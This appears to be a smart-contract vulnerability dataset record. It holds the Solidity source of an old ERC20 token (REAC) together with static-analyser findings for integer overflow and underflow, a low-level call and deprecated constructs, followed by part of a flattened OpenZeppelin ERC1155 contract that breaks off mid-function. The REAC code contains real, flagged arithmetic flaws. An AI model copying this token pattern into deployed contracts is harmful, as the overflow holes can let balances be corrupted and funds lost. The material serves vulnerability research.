unction"},{"stateMutability":"payable","type":"receive"}]
v0.8.7+commit.e28d00a7
false
200
Default
None
false
ipfs://a50230427592742f8f77ee54f53be5c547b83ab9d498837d3ac61b545501ed6b
REAC
0x4122bc6e97f92acf56421e6365f9c03b692c988e
Solidity
pragma solidity ^0.4.19; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract REAC is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function REAC( ) { balances[msg.sender] = 100000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 100000000000000000000000000; // Update total supply (100000 for example) name = "Real Estate Asset Coin"; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = "REAC"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["86", "109"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["51", "52", "62", "63", "64"]}]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [109]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [134]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [134]}}, {"check": "deprecated-standards", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [29]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [6]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [34]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [96, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [16]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"REAC.sol": [10]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [1]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [134]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [45]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [74]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [58]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"REAC.sol": [70]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"REAC.sol": [120]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"REAC.sol": [119]}}]
[{"error": "Integer Underflow.", "line": 108, "level": "Warning"}, {"error": "Integer Underflow.", "line": 106, "level": "Warning"}, {"error": "Integer Underflow.", "line": 109, "level": "Warning"}, {"error": "Integer Overflow.", "line": 62, "level": "Warning"}, {"error": "Integer Overflow.", "line": 127, "level": "Warning"}]
[{"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 134, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 95, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 134, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 6, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 10, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 34, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 70, "severity": 1}, {"rule": "SOLIDITY_DEPRECATED_CONSTRUCTIONS", "line": 80, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 74, "severity": 2}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 6, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 10, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 16, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 23, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 29, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 34, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 93, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 134, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 134, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 6, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 10, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 16, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 23, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 29, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 34, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 45, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 58, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 70, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 74, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 117, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 127, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 84, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 85, "severity": 1}]
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}]
v0.4.19+commit.c4cbbb05
false
200
Default
false
bzzr://96438239492c268b29691324821bc21a493e24d015a3e6a180ca50e59c7461ff
Tokens1155
0xed95fb27d335033c982921ccd39bcda3f995974b
Solidity
// File @openzeppelin/contracts/utils/introspection/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC1155/[email protected] pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC1155/[email protected] pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC1155/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC1155/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); 